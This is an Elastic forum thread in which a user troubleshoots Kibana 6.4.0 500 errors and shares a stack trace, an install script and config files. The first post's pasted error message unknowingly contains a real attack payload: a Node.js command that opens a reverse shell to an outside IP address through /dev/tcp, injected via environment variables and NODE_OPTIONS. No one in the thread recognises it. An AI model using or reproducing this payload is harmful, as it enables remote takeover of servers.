# Kibana 6.4.0 Error 500

**URL:** <https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827>\
**Category:** Kibana\
**Created:** [November 14, 2019, 7:16am UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827 "2019-11-14T07:16:54Z")\
**Posts on this page:** 8\
**Page:** 1

<div class="post-metadata">

**Author:** ![Eric\_Yong](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/eric_yong/32/57646_2.png) [@Eric\_Yong](https://discuss.elastic.co/u/Eric_Yong)\
**Post date:** [November 14, 2019, 7:16am UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827/1 "2019-11-14T07:16:54Z")

</div>

I have 2 clusters of ES + Kibana running, but only 1 of the cluster has problems.  
Each cluster consists of 2Master, 2Data, 2 Client, and 1 Kibana. All running on EC2 (without docker or k8s)

After restarting the kibana, it will work for a while before it errors again.  
Both dev tools and monitoring are not usable.

If I try to look at nodes of my ES, this error comes up

```auto
[illegal_argument_exception] failed to parse [NaNs], with { env={ AAAA="require(\"child_process\").exec(\"if [! -f /tmp/opwsqfah];then touch /tmp/opwsqfah && /bin/bash -c '/bin/bash -i >& /dev/tcp/185.161.70.34/1111 0>&1'; fi\");process.exit()//" & NODE_OPTIONS="--require /proc/self/environ" } }: Check the Elasticsearch Monitoring cluster network connection or the load level of the nodes.

```

If I try to query something from Dev Tool, this comes up.

```auto
Debug: internal, implementation, error 
    Error: Uncaught error: Expected originalHeaders to be an object, but object given
    at setHeaders (/usr/share/kibana/src/core_plugins/elasticsearch/lib/set_headers.js:32:11)
    at getConfigForReq (/usr/share/kibana/src/core_plugins/console/index.js:91:53)
    at handler (/usr/share/kibana/src/core_plugins/console/server/proxy_route.js:113:11)
    at Object.internals.handler (/usr/share/kibana/node_modules/hapi/lib/handler.js:96:36)
    at Items.serial (/usr/share/kibana/node_modules/hapi/lib/handler.js:63:26)
    at done (/usr/share/kibana/node_modules/items/lib/index.js:31:25)
    at done (/usr/share/kibana/node_modules/items/lib/index.js:63:25)
    at pre (/usr/share/kibana/node_modules/hapi/lib/handler.js:52:24)
    at finalize (/usr/share/kibana/node_modules/hapi/lib/handler.js:281:20)
    at wrapped (/usr/share/kibana/node_modules/hoek/lib/index.js:879:20)
    at module.exports.internals.Response.internals.Response._processPrepare (/usr/share/kibana/node_modules/hapi/lib/response.js:521:16)
    at module.exports.internals.Response.internals.Response._prepare (/usr/share/kibana/node_modules/hapi/lib/response.js:460:21)
    at process.nextTick (/usr/share/kibana/node_modules/hapi/lib/reply.js:152:22)
    at _combinedTickCallback (internal/process/next_tick.js:131:7)
    at process._tickDomainCallback (internal/process/next_tick.js:218:9)

```

I tried querying individually to my elasticsearch servers without kibana and it worked fine.  
I believe there was another post regarding the same error.

---

<div class="post-metadata">

**Author:** ![rashmi](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/rashmi/32/16391_2.png) [@rashmi](https://discuss.elastic.co/u/rashmi)\
**Post date:** [November 14, 2019, 8:25pm UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827/2 "2019-11-14T20:25:16Z")

</div>

@dover any suggestions ?

I haven't seen this error before. How are you running Kibana and elasticsearch? Are either of them behind a proxy? Is there anything that might be modifying http headers? Can you share your kibana.yml and elasticsearch.yml content?

---

<div class="post-metadata">

**Author:** ![Eric\_Yong](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/eric_yong/32/57646_2.png) [@Eric\_Yong](https://discuss.elastic.co/u/Eric_Yong)\
**Post date:** [November 15, 2019, 8:40am UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827/3 "2019-11-15T08:40:19Z")

</div>

They are all connected via internal IP in AWS.  
I installed them on the machines as is without any docker and stuff like that.

Example of one installation is as follows (from fresh instance)  
Kibana has similar command, using [https://artifacts.elastic.co/downloads/kibana/kibana-6.4.0-x86\_64.rpm](https://artifacts.elastic.co/downloads/kibana/kibana-6.4.0-x86_64.rpm)

```auto
#!/bin/bash
ulimit -n 65536
ulimit -u 65536
sysctl -w vm.max_map_count=262144
yum -y remove java-1.7.0-openjdk
yum -y install java-1.8.0-openjdk jq wget
rpm -i https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.0.rpm || error_exit "Failed to retrieve elasticsearch archive"
chkconfig --add elasticsearch
echo "cluster.name: sandbox-Elasticsearch-xxx
node.name: ${HOSTNAME}
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com" > /etc/elasticsearch/elasticsearch.yml
echo "elasticsearch soft memlock unlimited
elasticsearch - nofile 65536
elasticsearch hard nproc 65536
elasticsearch soft nproc 65536
elasticsearch hard memlock unlimited" > /etc/security/limits.conf
#install aws plugin
cd /usr/share/elasticsearch
./bin/elasticsearch-plugin install -b discovery-ec2
./bin/elasticsearch-plugin install -b repository-s3
./bin/elasticsearch-plugin install -b x-pack
cd /etc/elasticsearch
sed -i 's/-Xms.*/-Xms2G/g' jvm.options
sed -i 's/-Xmx.*/-Xmx2G/g' jvm.options
service elasticsearch start

```

Kibana.yml

```auto
server.name: "kibana"
server.host: "0"
elasticsearch.url: "http://internal-sandb-PrivateE-xxxxx-xxxxx.ap-southeast-1.elb.amazonaws.com:9200"

```

elasticsearch.yml (master node)

```auto
cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-yyy
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: true
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

```

elasticsearch.yml (data node)

```auto
cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-zzz
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: true
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

```

elasticsearch.yml (client node)

```auto
cluster.name: sandbox-Elasticsearch-xxx
node.name: ip-192-xxx-xxx-qqq
path.data: /var/lib/elasticsearch
path.logs: /var/log/elasticsearch
bootstrap.memory_lock: true
network.host: [_eth0_,_local_,_ec2_]
discovery.zen.hosts_provider: ec2
discovery.ec2.availability_zones: ap-southeast-1a, ap-southeast-1b, ap-southeast-1c
cloud.node.auto_attributes: true
discovery.ec2.any_group: true
discovery.ec2.host_type: private_ip
discovery.ec2.tag.es-cluster: sandbox-Elasticsearch-xxx
node.master: false
node.data: false
cluster.routing.allocation.awareness.attributes: aws_availability_zone
discovery.ec2.endpoint: ec2.ap-southeast-1.amazonaws.com

```

---

<div class="post-metadata">

**Author:** ![rashmi](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/rashmi/32/16391_2.png) [@rashmi](https://discuss.elastic.co/u/rashmi)\
**Post date:** [November 19, 2019, 3:42am UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827/4 "2019-11-19T03:42:49Z")

</div>

@joshdover cc

---

<div class="post-metadata">

**Author:** ![windonEsun](https://avatars.discourse-cdn.com/v4/letter/w/90ced4/32.png) [@windonEsun](https://discuss.elastic.co/u/windonEsun)\
**Post date:** [November 19, 2019, 5:51am UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827/5 "2019-11-19T05:51:52Z")

</div>

I also met.Kibana6.3 has the same problem.

---

<div class="post-metadata">

**Author:** ![Eric\_Yong](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/eric_yong/32/57646_2.png) [@Eric\_Yong](https://discuss.elastic.co/u/Eric_Yong)\
**Post date:** [November 20, 2019, 6:08am UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827/6 "2019-11-20T06:08:22Z")

</div>

still waiting for an answer!

---

<div class="post-metadata">

**Author:** ![Eric\_Yong](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/eric_yong/32/57646_2.png) [@Eric\_Yong](https://discuss.elastic.co/u/Eric_Yong)\
**Post date:** [December 3, 2019, 5:12am UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827/7 "2019-12-03T05:12:22Z")

</div>

oh well, i guess i won't get my answer here anymore.

---

<div class="post-metadata">

**Author:** ![system](https://us1.discourse-cdn.com/elastic/original/3X/1/a/1ac57faf039f6b580b3f104ef42a2a89e41014de.png) [@system](https://discuss.elastic.co/u/system)\
**Post date:** [December 31, 2019, 5:13am UTC](https://discuss.elastic.co/t/kibana-6-4-0-error-500/207827/8 "2019-12-31T05:13:46Z")

</div>

This topic was automatically closed 28 days after the last reply. New replies are no longer allowed.